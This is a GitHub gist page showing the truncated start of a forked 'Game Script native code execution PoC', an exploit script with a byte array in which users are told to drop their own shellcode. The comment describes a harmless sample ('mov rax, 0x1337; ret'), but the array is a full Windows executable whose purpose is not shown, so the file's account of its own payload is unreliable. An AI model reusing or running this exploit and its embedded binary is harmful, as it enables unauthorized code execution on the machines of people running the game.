Skip to content

Instantly share code, notes, and snippets.

View 3UR's full-sized avatar
:octocat:

3UR

:octocat:
  • Tokyo
View GitHub Profile
@3UR
3UR / gspoc.txt
Last active June 12, 2024 08:33 — forked from carrot-c4k3/gspoc.txt
Game Script native code execution PoC
This file has been truncated, but you can view the full file.
// native code exec PoC via Game Script - @carrot_c4k3 (exploits.forsale)
//
// sample shellcode: mov rax, 0x1337; ret;
// drop your own shellcode inplace here
let shellcode = [0x4d,0x5a,0x90,0x0,0x3,0x0,0x0,0x0,0x4,0x0,0x0,0x0,0xff,0xff,0x0,0x0,0xb8,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xf8,0x0,0x0,0x0,0xe,0x1f,0xba,0xe,0x0,0xb4,0x9,0xcd,0x21,0xb8,0x1,0x4c,0xcd,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,0x6d,0x6f,0x64,0x65,0x2e,0xd,0xd,0xa,0x24,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xed,0xf6,0x51,0x81,0xa9,0x97,0x3f,0xd2,0xa9,0x97,0x3f,0xd2,0xa9,0x97,0x3f,0xd2,0xe2,0xef,0x3e,0xd3,0xab,0x97,0x3f,0xd2,0xa0,0xef,0xac,0xd2,0xf8,0x97,0x3f,0xd2,0xa9,0x97,0x3e,0xd2,0xba,0x92,0x3f,0xd2,0xe2,0xef,0x3b,0xd3,0xa5,0x97,0x3f,0xd2,0xe2,0xef,0x3c,0xd3,0xad,0x97,0x3f,0xd